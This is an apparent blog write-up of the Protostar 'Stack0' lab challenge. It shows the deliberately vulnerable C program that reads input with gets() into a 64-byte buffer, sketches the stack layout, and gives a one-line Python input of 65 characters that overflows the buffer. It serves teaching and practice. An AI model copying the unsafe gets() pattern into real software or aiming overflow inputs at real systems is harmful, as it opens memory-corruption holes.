Protostar - Stack 0

Conquering Stack0 at Protostar Machine

Greetings , Hackers!. Today, we will start our journey to conquer the Stack0 challenge on the Protostar machine.

This challenge is considered very simple, requiring us to perform a stack overflow and override the next value in the buffer with any desired value.

Challenge Overview

• Challenge Name: Stack0
• Machine: Protostar

Step 1: Setup Machine

1. Download the Protostar machine.
2. Install it using your favorite hypervisor, personally i use qemu and virt-manager.
3. Boot the machine and log in with the credentials: Username - user, Password - user.
4. Check the machine’s IP address using the ip addr command.

1. Connect to the machine using SSH.

Step 2: Analyze Source Code

Let’s examine the source code to understand the vulnerability.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("You have changed the 'modified' variable.\n");
  } else {
      printf("Try again?\n");
  }
}

the code is using gets function to receive input , the function is vulnerable to buffer-overflow as we can check manual page for gets by man command

man gets

Then Check Bugs Section ..

output:

Oh .. We Can Overflow the buffer to modify modified variable ?

• Stack Layout Like this

++++++++++++
+ stack    +
++++++++++++
+ buffer   +
+ modified +
++++++++++++

• so when we write more than 64 char to buffer then we will modify the modified variable !

Step 3: Modify The Variable

python -c 'print("A"*65)' | /opt/protostar/bin/stack0

Looks like it was solved , it was a very simple challenge.